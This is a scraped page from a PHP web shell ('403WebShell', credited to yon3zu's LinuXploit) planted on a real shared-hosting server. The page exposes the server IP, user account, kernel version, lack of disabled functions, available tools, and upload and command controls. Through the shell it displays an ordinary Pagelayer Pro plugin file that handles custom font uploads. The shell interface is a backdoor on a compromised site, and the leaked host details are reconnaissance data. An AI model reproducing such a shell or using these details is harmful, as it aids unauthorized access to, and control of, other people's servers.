Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.72.24
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/softaculous/sitepad/editor/site-data/plugins/pagelayer-pro/main/custom_fonts.php
<?php

//////////////////////////////////////////////////////////////
//===========================================================
// custom_fonts.php
//===========================================================
// PAGELAYER
// Inspired by the DESIRE to be the BEST OF ALL
// ----------------------------------------------------------
// Started by: Pulkit Gupta
// Date:	   23rd Jan 2017
// Time:	   23:00 hrs
// Site:	   http://pagelayer.com/wordpress (PAGELAYER)
// ----------------------------------------------------------
// Please Read the Terms of use at http://pagelayer.com/tos
// ----------------------------------------------------------
//===========================================================
// (c)Pagelayer Team
//===========================================================
//////////////////////////////////////////////////////////////

// Are we being accessed directly ?
if(!defined('PAGELAYER_PRO_VERSION')) {
	exit('Hacking Attempt !');
}

// This function will handle the custom fonts pages in Pagelayer 
add_action('init', 'pagelayer_custom_fonts_page', 9999);
function pagelayer_custom_fonts_page() {
	
	global $pagelayer;

	// Custom fonts supports
	$supports = array(
		'title', // post title
	);
	
	// Add custom fonts lables
	$labels = array(
		'name' => _x('Custom Fonts', 'plural'),
		'singular_name' => _x('Custom Font', 'singular'),
		'menu_name' => _x('Custom Fonts', 'admin menu'),
		'name_admin_bar' => _x('Custom Fonts', 'admin bar'),
		'add_new' => _x('Add New', 'Add'),
		'add_new_item' => __('Add New'),
		'new_item' => __('New Font'),
		'edit_item' => __('Edit Font'),
		'view_item' => __('View Font'),
		'all_items' => __('All Fonts'),
		'search_items' => __('Search Fonts'),
		'not_found' => __('No Pagelayer custom fonts found'),
	);
		
	$args = array(
		'supports' => $supports,
		'labels' => $labels,
		'public' => false,
		'show_in_menu' => false,		
		'publicly_queryable' => true,  
		'show_ui' => true, 
		'exclude_from_search' => true,  
		'show_in_nav_menus' => false,  
		'has_archive' => false,  
		'rewrite' => false, 	
	);
	
	// Register custom post type
	register_post_type(PAGELAYER_FONT_POST_TYPE, $args);
	remove_post_type_support( PAGELAYER_FONT_POST_TYPE, 'editor');	
}

// Removing extra columns
add_filter( 'manage_'.PAGELAYER_FONT_POST_TYPE.'_posts_columns', 'pagelayer_add_custom_columns' );
function pagelayer_add_custom_columns($columns){
	
	unset( $columns['author'] );
	unset( $columns['date']   );
	 
	$columns['pl-preview'] = __('Preview'); 
	 
	return $columns;
}

// Adding preview column data
add_action( 'manage_'.PAGELAYER_FONT_POST_TYPE.'_posts_custom_column' , 'pagelayer_add_custom_columns_data', 10, 2 );
function pagelayer_add_custom_columns_data( $column, $post_id ){
	if($column == __('pl-preview')){
		$font_link = get_post_meta( $post_id, 'pagelayer_font_link', true );		
		echo '<style>@font-face { font-family: "'.get_the_title($post_id).'"; src: url("'.wp_unslash( $font_link ).'"); }</style>';
		echo '<span style="font-family:\''.get_the_title($post_id).'\'; font-size:16px" >Preview of the CUSTOM font</span>';
	}
}

// Removing row actions
add_filter( 'post_row_actions', 'pagelayer_remove_row_actions', 10, 1 );
function pagelayer_remove_row_actions( $actions ){
	if( get_post_type() === PAGELAYER_FONT_POST_TYPE ){
		foreach($actions as $action => $html){
			if($action == 'edit' || $action == 'trash' || $action == 'clone' || $action == 'untrash' || $action == 'delete'){
				continue;
			}else{
				unset($actions[$action]);
			}
		}
	}
	return $actions;
}

// Removing Screen options
add_filter('screen_options_show_screen', 'pagelayer_remove_screen_options', 1, 1);
function pagelayer_remove_screen_options($show_screen) { 
	if(get_post_type() == PAGELAYER_FONT_POST_TYPE) {
		return false;
	}
	return $show_screen; 
}

// Removing all other metaboxes.
add_action('admin_init', function() {pagelayer_remove_all_metaboxes(PAGELAYER_FONT_POST_TYPE);});
function pagelayer_remove_all_metaboxes($type) {
	add_filter("get_user_option_meta-box-order_{$type}", function() use($type) {
		global $wp_meta_boxes;
		$publishbox = $wp_meta_boxes[$type]['side']['core']['submitdiv'];
		$fontsBox = $wp_meta_boxes[$type]['normal']['default']['pl-fonts-link-box'];
		$wp_meta_boxes[$type] = array(	  
							'side' => array(
								'core' => array(
									'submitdiv' => $publishbox
								)
							),
							'normal' => array(
								'default' => array(
									'pl-fonts-link-box' => $fontsBox
									)
								)
							);
		return array();
	}, PHP_INT_MAX);
} 

// Hiding extra options of publish metabox
add_action( 'admin_head', 'pagelayer_hide_publish_options' );
function pagelayer_hide_publish_options() {
	if(get_post_type() == PAGELAYER_FONT_POST_TYPE){
		echo '<style>.submitbox #minor-publishing{ display: none; }</style>';		
	}
}

// Adding source metabox
add_action('add_meta_boxes', 'pagelayer_add_meta_box');
function pagelayer_add_meta_box(){
	add_meta_box( 'pl-fonts-link-box', _x('Source', 'font source'), 'pagelayer_font_link_metabox', PAGELAYER_FONT_POST_TYPE, 'normal', 'default', null);
}

function pagelayer_font_link_metabox($object){
	wp_enqueue_media();
	wp_nonce_field('pagelayer-font-post', 'pagelayer');
	$link = get_post_meta($object->ID, 'pagelayer_font_link', true);
	?>
	<div>
		<table width="100%">
			<tr>
				<th valign="top" style="text-align:right; padding-right:20px; width:20%;"><?php echo __('Font File');?> : </th>
				<td>
					<div>
						<input type="text" class="pagelayer_font_input" id="pl_font_link" name="pagelayer_font_link" onclick="fontUpload(event)" style="width:70%" value="<?php echo wp_unslash($link); ?>" autocomplete="false" readonly="true"/>
						<button type="button" class="button button-light" onclick="fontUpload(event)">Upload Font</button>
					</div>
				</td>
			</tr>
		</table>
	</div>
	<script>
	
	window.onload = function(){
		jQuery('#submitdiv').on('click', '#publish', function(e){
			
			if(jQuery('#title').val()==''){
				alert('Please insert title of the page');
				return false;
			}else{
				if(jQuery('#pl_font_link').val()==''){
					alert('Please insert link of the font');				
					return false;
				}else{
					return true;					
				}				
			}
			
		});
	}
	
	function fontUpload(e){
		var allowed_mime_type = ['.ttf', '.woff', '.woff2','.otf'];
		var allClear = false;
		var custom_uploader = wp.media({
			title: 'Upload Font',
			library : {
				type : 'font'
			},
			button: {
				text: 'Select Font' // button label text
			},
			multiple: false
		}).on('select', function() { // it also has "open" and "close" events
			var attachment = custom_uploader.state().get('selection').first().toJSON();
			for(var i=0; i<allowed_mime_type.length; i++){
				if(attachment['filename'].indexOf(allowed_mime_type[i]) != -1){
					allClear=true;				
					break;
				}
			}
			if(allClear){
				jQuery('.pagelayer_font_input').val(attachment['url']);
			}else{
				alert('Kindly insert a correct font file. Allowed font file types are (otf|ttf|woff|woff2)');
			}
		}).open();
	}
	</script>
	
<?php }

// Saving source metabox content
add_action('save_post', 'pagelayer_save_source_meta_box', 10, 3);
function pagelayer_save_source_meta_box($post_id, $post, $update){

	if(PAGELAYER_FONT_POST_TYPE != $post->post_type){
		return $post_id;
	}
	
	// DO an admin referrer check
	if(!empty($_POST)){
		check_admin_referer('pagelayer-font-post', 'pagelayer');
	}else{
		return $post_id;
	}

	$meta_box_link_value = '';

	if(isset($_POST['pagelayer_font_link'])){
		$meta_box_link_value  = wp_unslash($_POST['pagelayer_font_link']);
	}   

	update_post_meta($post_id, 'pagelayer_font_link', $meta_box_link_value );
	
}

// 	Adding custom mime type
add_filter('upload_mimes', 'pagelayer_custom_mime_types', 1, 1);	
function pagelayer_custom_mime_types($mime_types = array()){
	global $pagelayer;
	
	forEach($pagelayer->allowed_mime_type as $key => $value){
		$mime_types[$key]=$value;		
	}
	return $mime_types;
}

// Adding custom mime type
add_filter( 'mime_types', 'pagelayer_mime_types' );
function pagelayer_mime_types($default_mimes){
	global $pagelayer;
	
	forEach($pagelayer->allowed_mime_type as $key => $value){
		$default_mimes[$key]=$value;		
	}
	
	return $default_mimes;
}

// Adding custom mime type
add_filter( 'wp_check_filetype_and_ext', 'pagelayer_check_filetype_and_ext', 10, 5 );
function pagelayer_check_filetype_and_ext( $types, $file, $filename, $mimes, $real_mime = false ){	
	global $pagelayer;
	
	forEach($pagelayer->allowed_mime_type as $key => $value){
		if ( false !== strpos( $filename, '.'.$key ) ) {
			$types['ext'] = $key;
			$types['type'] = $value;
		}		
	}
	
	return $types;
}

// Removing notification.
add_filter( 'post_updated_messages', 'pagelayer_delete_notification' );
function pagelayer_delete_notification( $messages ){
	if(get_post_type() == PAGELAYER_FONT_POST_TYPE){
		unset($messages['post'][1]);
		unset($messages['post'][6]);
		return $messages;		
	}
}


Youez - 2016 - github.com/yon3zu
LinuXploit